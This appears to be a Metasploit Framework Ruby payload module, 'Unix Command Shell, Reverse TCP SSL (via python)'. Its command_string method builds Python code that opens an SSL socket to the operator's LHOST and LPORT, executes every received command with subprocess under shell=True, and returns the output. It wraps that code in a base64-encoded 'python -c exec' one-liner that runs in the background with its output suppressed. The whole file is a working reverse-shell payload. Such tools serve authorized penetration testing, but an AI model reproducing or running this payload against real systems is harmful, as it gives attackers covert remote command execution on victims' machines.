75 lines
2.2 KiB
Ruby
75 lines
2.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp_ssl'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
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'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
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'Author' => 'RageLtMan',
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'License' => BSD_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcpSsl,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'python',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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vprint_good(command_string)
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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cmd = ''
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dead = Rex::Text.rand_text_alpha(2)
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# Set up the socket
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cmd += "import socket,subprocess,os,ssl\n"
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cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
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cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
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cmd += "s=ssl.wrap_socket(so)\n"
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# The actual IO
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cmd += "#{dead}=False\n"
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cmd += "while not #{dead}:\n"
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cmd += "\tdata=s.recv(1024)\n"
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cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
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cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
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cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
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cmd += "\ts.send(stdout_value)\n"
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# The *nix shell wrapper to keep things clean
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# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
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cmd = "python -c \"exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))\""
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cmd += ' >/dev/null 2>&1 &'
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return cmd
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end
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end
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